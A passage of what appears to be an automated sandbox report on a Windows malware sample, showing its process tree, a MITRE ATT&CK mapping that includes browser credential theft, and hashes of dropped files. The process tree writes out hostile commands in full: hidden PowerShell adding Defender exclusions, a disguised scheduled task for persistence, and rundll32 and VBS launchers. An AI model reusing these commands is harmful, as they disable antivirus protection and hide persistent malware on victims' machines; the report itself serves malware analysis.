  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:4220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:6012
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe
  C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  PID:5264
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /create /tn "MicrosoftRuntimeBroker" /tr "C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe" /sc daily /st 00:00 /rl limited /f
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:5108
- - C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: AddClipboardFormatListener
    PID:712
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /tn "MicrosoftRuntimeBroker"
      4⤵
      PID:2248
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /tn "MicrosoftRuntimeBroker"
      4⤵
      PID:2328
  - - C:\Windows\SYSTEM32\schtasks.exe
      schtasks /query /tn "MicrosoftRuntimeBroker"
      4⤵
      PID:624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe""
  2⤵
  PID:3368
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe"
    3⤵
    PID:4600
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe"
      4⤵
      Executes dropped EXE
      PID:5776
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe""
  2⤵
  PID:4248
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe"
    3⤵
    PID:976
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe""
  2⤵
  - System Binary Proxy Execution: Rundll32
  PID:3484
- - C:\Windows\system32\rundll32.exe
    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe"
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:5716
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe"
      4⤵
      Executes dropped EXE
      PID:3400
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe' -WindowStyle Hidden""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:6004
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:4604
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe"
      4⤵
      Executes dropped EXE
      PID:5124
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783138790639.vbs""
  2⤵
  PID:5524
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783138790639.vbs"
    3⤵
    PID:4136
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe"
      4⤵
      Executes dropped EXE
      PID:5028
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe' -ErrorAction SilentlyContinue""
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Hidden Window
  - Hide Artifacts: Ignore Process Interrupts
  PID:5756
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe' -ErrorAction SilentlyContinue"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4972
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe
  C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe
  2⤵
  - Executes dropped EXE
  PID:1236
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe""
  2⤵
  PID:5300
- - C:\Windows\system32\cmd.exe
    cmd.exe /c start "" "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe"
    3⤵
    PID:8
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe"
      4⤵
      Executes dropped EXE
      PID:1624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe""
  2⤵
  PID:6012
- - C:\Windows\explorer.exe
    explorer.exe "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe"
    3⤵
    PID:5684
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe""
  2⤵
  - System Binary Proxy Execution: Rundll32
  PID:2640
- - C:\Windows\system32\rundll32.exe
    rundll32.exe url.dll,FileProtocolHandler "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe"
    3⤵
    - System Binary Proxy Execution: Rundll32
    PID:1884
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe"
      4⤵
      Executes dropped EXE
      PID:4708
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe' -WindowStyle Hidden""
  2⤵
  - Hide Artifacts: Hidden Window
  PID:5820
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -WindowStyle Hidden -Command "Start-Process -FilePath 'C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe' -WindowStyle Hidden"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    PID:4556
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe"
      4⤵
      Executes dropped EXE
      PID:2252
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /d /s /c "wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783138827551.vbs""
  2⤵
  PID:3400
- - C:\Windows\system32\wscript.exe
    wscript.exe //B //Nologo "C:\Users\Admin\AppData\Local\Temp\launcher_1783138827551.vbs"
    3⤵
    PID:5804
  - - C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe
      "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe"
      4⤵
      Executes dropped EXE
      PID:3708

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\RuntimeBroker\RuntimeBroker.exe
1⤵
- Executes dropped EXE
PID:900

C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe
C:\Users\Admin\AppData\Local\Microsoft\Windows\Security\Health\HealthService.exe
1⤵
- Executes dropped EXE
PID:2640

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:2488
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe
  "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe"
  2⤵
  - Executes dropped EXE
  PID:1304

C:\Windows\explorer.exe
C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4056
- C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe
  "C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe"
  2⤵
  - Executes dropped EXE
  PID:3196

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Hidden Window

T1564.003

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

System Binary Proxy Execution

T1218

Rundll32

T1218.011

Virtualization/Sandbox Evasion

T1497

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 cbbecd34822025f9c6f62ec39ea4d52da2a15c7687029230762da8dd0c76c512
MD5 b1abccaed1fb7201c0f9c87c47d1e60e
SHA1 bd908885f72b3c9a79048e436fb0793fba620112
SHA512 7b0c00b9b8207a2679be1b0d9ca0239f5e512f1384ac866570fa5289f50451319290f518551e3381c9c3fb7d20cf4acb64047fc7631df3665e32fea89af69ccf
TLSH
T10B219833B3CC8624CC9A013A10CDAC1036B6C7CB40DECFAB7B80E655A43F698DE60160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 36a254cb2ac78778f235560c03e1ce20c7f66a7669a5ff7fc4065526a245d1c9
MD5 b99ba236003e0505951e2befcc3f6e82
SHA1 fff1debc95fde0b0e29a4f3116ee5fbd29d6ff6d
SHA512 f34a43651ad83237e7f3444e85aa54ccb50ee455244b77f052672d7da3e3d261ef43c9a6a29dc827bd13286182a76518cd9df3dbd8b0cf01f8249e989832cf5b
TLSH
T17A115733F3CC8724C89A403650CEAC1036B587DB509ECE6BBB84D154B43F599CE61660
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 9172eb88e2326ed74689075981feede1aee2982efdcafe20f6b8d417b395c426
MD5 cd10abe2cf664960daf4e016180b85b4
SHA1 4e35179c0f02213eeaaf739582cf26fb67588c1d
SHA512 116135d39b8a41274545e53079ee8a867ab2fcde0b3443a83e23aa388c326b8f7f6644ed665bf80309976e19edbc70ee770a9ac09e2e627f355ebab94405946b
TLSH
T15C115733F3CC8664D89A413650CEAC1036B687DB409EDE9BAB84D558B43F28ACE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 c004af152d4fb25c1d003708c4700a8aa508695308566395340dc5aa23ab345d
MD5 932d813767b0f3530a305e5f48d31e28
SHA1 5258f82f643d691a24f07bc29a761dca71f97cb1
SHA512 9ab9a79fdb251e2648f528fb70c19a22e1f27911ed012919daf8037b746a7a5b253e8843e1b7cb27f1371f35a5038011a5e267487c897a198b8bdd393fd4e5c9
TLSH
T1CA115733B3CC8724CC9A403650CEAC1137B587DB409EDE6BBB84D549B82F199DEA1260
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 b67191a152d4566d0194395342f55c6142d94005610603fdc92ac4d491519f82
MD5 836da308c17b18155d513895baff5404
SHA1 548067c779da32edfafb48a6f14e086ed6dac113
SHA512 178cf31b7fc6015878508f9727fbc9feeb029d245b759b27d74ce893732322acf0ecc0c3570ec7c87e62b9e6d58b374a4b529e3e47c42762cd1b8cfe74d73b6a
TLSH
T1AA115733B3CC8724DC9A403650CEAC1136B687DB409EDE6BBB84D549B82F299DE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

component_1.exe

Path C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_1.exe
Size 36KB
SHA256 21f7f398bff8669321cb19020bcb6f64e7229695ff5f7f61ab684ab2dcbeba08
MD5 41d5a8b371c3ab12a6317c52e70aa1d9
SHA1 54801da27ec7f9f5f9bf069d0c976dcb35f1f75d
SHA512 b35a0e70f59f7037959558e3e4e8df9ed0dd557d2baba3fc283212da4246f865ad988cb907258e9ac6a4022dbc328b958d597099068ccb8f0d7e5dec88a31d3e
SSDEEP 768:aMttvjOzE1fVK8a/aJb2l1Xa7NC/M3zL+33sWGS6G6Du:aMjOzgfAatA1M3/+33RGDu
TLSH
T11CF2E64BB6C370FDC617C630D6A71FB2B534B8901622AEBFA7D4C63219137911626F29
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

component_2.exe

Path C:\Users\Admin\AppData\Local\Temp\Setup\cache\1783138754614\component_2.exe
Size 2.1MB
SHA256 be5b469852253e4c60925777c114b46e7fca797bd21dc39b2f3774589ce0909a
MD5 7e81a8f28d5cd3b1a247c11b5ae64366
SHA1 5291f0767ba9c4b4810611aceb26bb594ee19779
SHA512 65ec3046e0f9b1912e47d4bc5cb652b457c96495b69b18820c029fc41c68997de5dffd03f4442661d57552e9fb3e8135153d81d510b90e731245c219e2b26b56
SSDEEP 24576:vQlw6OELAIq3kUHRNcOmIiUmZ0pLBivHgPVA5lNRtxzBele5rK263xBirP:vQlvjLrqU6RHmIuZWLeHgPm1LgHir
TLSH
T102A55A0B7CD009E9D4AAA33289B651967B75BC490F3223D72E90B7782F727D08D3A754
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_oprtwtov.pfz.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_oprtwtov.pfz.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

launcher_1783138790639.vbs

Path C:\Users\Admin\AppData\Local\Temp\launcher_1783138790639.vbs
Size 243B
SHA256 b788e1b89b1f168e26bc418020ca2ae225da518b54194352de2b95058bab9013
MD5 4175172cbfd82645fa2feddfe697867e
SHA1 bf9b1d3f6ca51158e4bb76e1b2c7ca859b4b35da
SHA512 8d014d152be0f6e62b2cf906a728153dda18c184e73fa7f770178189d4ef304415f071b2001c91e1140023bc1436c3546b05712851903ca7fa053a5fc676ec53
TLSH
T11CD0A759CD5ECC681406476306F6D94FC7A854151651EB209A50CCC852463696A9B282
MD5 SHA1 SHA512 TLSH

Submit Download

launcher_1783138827551.vbs

Path C:\Users\Admin\AppData\Local\Temp\launcher_1783138827551.vbs
Size 243B
SHA256 f2844dc3ea943566e1577561f66defaa4062d570ee89be7b1a694955dc280295
MD5 b116b8ae5b6d045a49e75290a02b88eb
SHA1 18f53f0e780df856f8e1d53c12af30012aeec581
SHA512 784a1ab9771ca836823d4f2919883d60dbae74af6f2b651535d628786a63ab6f9b99c6b6a80b60170283f3195556c2baa1731489510e9064ab0003ae2e46c03f
TLSH
T1A7D0A755CD5ECC681406476306F6990EC7A854151611EB209E50CDC862463696A9B282
MD5 SHA1 SHA512 TLSH

Submit Download

scr_1783138774352.png

Path C:\Users\Admin\AppData\Local\Temp\scr_1783138774352.png
Size 539KB
SHA256 08b3eddb44868706e481f6bd189fc9c8c38c0f5782ae7701ff4985e4131d618e
MD5 e8d25c5cf598f59198c42e8dba265bb2
SHA1 b2d2bf30cbfe9cd00f77723c81f776632559f41e
SHA512 0c34dfedd05711e21b79567a99219daebb482d0012506a9a64b57ef730bfd99c5a8b0457e48a106f6483c75fa33cf2702780ede5bd56ac39bd1abc70f964415d
SSDEEP 12288:OBNlW0CWloYIgoRAcVYnhb86oF1qfDUEI7MaLs/OxxO:Opjha7B2nJvoLqfrV/OxxO
TLSH
T19CC423066CE1014CC8CF8979F9D40F595339163BCAAD946AD7B127200666F2A7EC9F2F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wmi_5eb84ceb.vbs

Path C:\Users\Admin\AppData\Local\Temp\wmi_5eb84ceb.vbs
Size 1KB
SHA256 50317b5727700e7e4772d6bbfb29c087b26618d98dc96c03c321b3e025ad7915
MD5 4ba158bd9bfbe26f3bb38a83c2461fba
SHA1 4f9aa58b47c4a98192faad76f42a187e7c6c1fa6
SHA512 f12cc31a64a4842d706ff1e3304791d11db501f9b1b098ce022f0e014aa5ce1e105e4ece08335eb5222787fd5fc097ef741ef98381edab72c53734d4f7c54f3e
TLSH
T1B221A3207D6BF9543BA4165597B67A4B55666818A1FD07200C18CC44330B9BFD88F877
MD5 SHA1 SHA512 TLSH

Submit Download

default.exc

Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.exc
Size 2B
SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
MD5 f3b25701fe362ec84616a93a45ce9998
SHA1 d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA512 98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
MD5 SHA1 SHA512

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State
Size 300B
SHA256 393f03d8e1bbb18fb4433e7d54fb1ac1f4ff4dc6a84d4b2955245a46667a7f96
MD5 8de3ce30154e142d0a504ab03892186e
SHA1 44cd0b1540d194bef31f12824e4def3fd153b72a
SHA512 46f3ca90008cfdb7bf4c03fd0fe0e040930747282e923bb96fb25f133b6c3d44d2bb832f8d06371479ef683c498048d62dcaa1faf51c7408f51f31896441121c
TLSH
T160E072A2C2D45DBE478183F02A242913C2BE0809421C3E0ADAE8BB2E43F24B8880084B
MD5 SHA1 SHA512 TLSH

Submit Download

Network Persistent State~RFe5ad255.TMP

Path C:\Users\Admin\AppData\Roaming\installer\Network\Network Persistent State~RFe5ad255.TMP
Size 59B
SHA256 226eec4486509917aa336afebd6ff65777b75b65f1fb06891d2a857a9421a974
MD5 2800881c775077e1c4b6e06bf4676de4
SHA1 2873631068c8b3b9495638c865915be822442c8b
SHA512 e342407ab65cc68f1b3fd706cd0a37680a0864ffd30a6539730180ede2cdcd732cc97ae0b9ef7db12da5c0f83e429df0840dbf7596aca859a0301665e517377b
TLSH
T164A0026A99622D881B4A83902B18B547807B0445230982FDE43877A8415616D5C2C855
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4160-81-0x0000027ACE1A0000-0x0000027ACE1AA000-memory.dmp

Download

memory/4160-78-0x0000027ACE0D0000-0x0000027ACE182000-memory.dmp

Download

memory/4160-77-0x0000027ACE0B0000-0x0000027ACE0CE000-memory.dmp

Download

memory/4376-29-0x0000025F41210000-0x0000025F41232000-memory.dmp

Download

memory/4972-123-0x0000027763940000-0x00000277639F2000-memory.dmp

Download